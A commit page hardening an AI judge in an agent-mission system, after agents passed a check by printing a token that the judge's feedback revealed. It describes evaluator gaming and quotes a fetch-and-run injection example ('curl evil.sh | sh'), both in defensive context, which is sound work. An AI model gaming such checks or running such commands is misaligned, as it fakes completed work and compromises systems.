feat(evaluator): verify the work instead of believing the agents
ci / gates (push) Failing after 6s
ci / rust (push) Skipped
ci / frontend (push) Skipped
ci / e2e (push) Skipped
ci / publish (push) Skipped

Mission 019fbb63 was judged complete on its second pass without any work
being done. The condition required a literal token; pass 1's verdict said the
token was missing; that text was handed to the agents verbatim; an agent
printed the token. Every step behaved as designed, and the result was a phase
marked done on a copy-paste. Two separate defects.

**The judge could only read claims.** It now gets a checkout and one tool:
`run_check`, an argv array executed by `docker exec` with no shell anywhere.
That is structural — with a shell, an allow-list on the program name is
decorative, since `git status; curl evil.sh | sh` passes any prefix check;
without one, metacharacters are inert bytes in argv. Also: allow-listed
programs, read-only git subcommands only (a judge must not be able to
`git checkout` away the work it is judging), no absolute paths or `..`, a
deadline, and head-and-tail output clamping so failures survive truncation.

The verifying prompt is adversarial by design — it looks for tests weakened
or deleted, assertions rewritten to match wrong output, values hard-coded or
printed rather than produced, and success claimed with no matching git diff.
Phases with no checkout keep the evidence-only prompt, which states plainly
that verification is impossible there; a judge told it can check something it
cannot will claim it did.

**The feedback handed over the answer.** `Verdict` splits into `reason`
(operator; quotes freely) and `guidance` (agents; sanitized).
`sanitize_guidance` redacts identifier-shaped tokens from the condition unless
the agents already produced them, so prose feedback survives and magic strings
do not. `latest()` returns guidance, with a test that fails if it regresses to
`reason`. The next-pass brief now also states that output which merely looks
like it satisfies the check fails the pass.

Redaction is the backstop; running the tests is the defence.

- migration 0062 adds `guidance` and `checks`; `checks` is surfaced in the API
  and the UI, so an operator can see "verified by 3 checks" versus "from agent
  claims only" rather than having to guess which kind of verdict they have.
- `complete_direct` deleted — `judge_with_tools` covers the no-tools case.
- 23 evaluator tests, including the incident replayed as a regression.

Co-Authored-By: Claude Opus 5 <[email protected]>
This commit is contained in:
Omar Sobh
2026-07-31 21:56:34 -07:00
co-authored by Claude Opus 5
parent 3b943df3c2
commit 3eb89620e7
9 changed files with 913 additions and 94 deletions
+22 -15
View File
@@ -512,13 +512,11 @@ async fn reap_mission_resources(state: &AppState, mission_id: Uuid) {
let claw_ids: Vec<Uuid> = if team_ids.is_empty() {
Vec::new()
} else {
sqlx::query_scalar(
"SELECT DISTINCT claw_id FROM team_members WHERE team_id = ANY($1)",
)
.bind(&team_ids)
.fetch_all(&state.pool)
.await
.unwrap_or_default()
sqlx::query_scalar("SELECT DISTINCT claw_id FROM team_members WHERE team_id = ANY($1)")
.bind(&team_ids)
.fetch_all(&state.pool)
.await
.unwrap_or_default()
};
// 2. Reap each claw: ZeroClaw config → sandbox container → .brain files →
@@ -557,13 +555,17 @@ async fn reap_mission_resources(state: &AppState, mission_id: Uuid) {
.execute(&state.pool)
.await
{
eprintln!("missions::delete: delete topology_runs for {mission_id} failed (continuing): {e}");
eprintln!(
"missions::delete: delete topology_runs for {mission_id} failed (continuing): {e}"
);
}
// 5. Tear down the per-mission runtime container + its workspace dir.
if let Some(mp) = crate::mission_runtime::MissionRuntimeProvisioner::from_env() {
if let Err(e) = mp.teardown_container(mission_id).await {
eprintln!("missions::delete: teardown container for {mission_id} failed (continuing): {e}");
eprintln!(
"missions::delete: teardown container for {mission_id} failed (continuing): {e}"
);
}
}
@@ -714,7 +716,7 @@ pub async fn list_phase_evaluations(
.ok_or(ApiError::NotFound)?;
use sqlx::Row;
let rows = sqlx::query(
"SELECT iteration, met, reason, model, error, created_at
"SELECT iteration, met, reason, model, error, created_at, checks
FROM mission_phase_evaluations
WHERE mission_id = $1 AND phase_id = $2
ORDER BY iteration DESC",
@@ -733,6 +735,10 @@ pub async fn list_phase_evaluations(
"reason": r.get::<String, _>("reason"),
"model": r.get::<String, _>("model"),
"error": r.get::<Option<String>, _>("error"),
// The verification commands the judge actually ran. An
// empty list means the verdict rests on agent claims
// alone, which an operator should be able to see.
"checks": r.get::<serde_json::Value, _>("checks"),
"created_at": created_at
.format(&time::format_description::well_known::Rfc3339)
.unwrap_or_default(),
@@ -928,7 +934,10 @@ fn nodes_of(graph: Option<&Value>) -> Vec<(String, String)> {
arr.iter()
.map(|n| {
(
n.get("id").and_then(|v| v.as_str()).unwrap_or("").to_string(),
n.get("id")
.and_then(|v| v.as_str())
.unwrap_or("")
.to_string(),
n.get("role")
.and_then(|v| v.as_str())
.unwrap_or("agent")
@@ -966,8 +975,7 @@ pub async fn list_documents(
let _ = cm_db::repo::missions::get(&state.pool, id, user.workspace_id.as_uuid())
.await?
.ok_or(ApiError::NotFound)?;
let source =
cm_db::repo::topology_runs::documents_source_for_mission(&state.pool, id).await?;
let source = cm_db::repo::topology_runs::documents_source_for_mission(&state.pool, id).await?;
let mut documents = Vec::new();
for (run_id, phase_id, run_status, graph, checkpoint) in source {
@@ -1017,8 +1025,7 @@ pub async fn get_document(
.ok_or(ApiError::NotFound)?;
// Scope the run to the mission as well, so a valid run id from another
// mission (or workspace) can't be read through this path.
let source =
cm_db::repo::topology_runs::documents_source_for_mission(&state.pool, id).await?;
let source = cm_db::repo::topology_runs::documents_source_for_mission(&state.pool, id).await?;
let (_, _, _, graph, checkpoint) = source
.into_iter()
.find(|(rid, _, _, _, _)| *rid == run_id)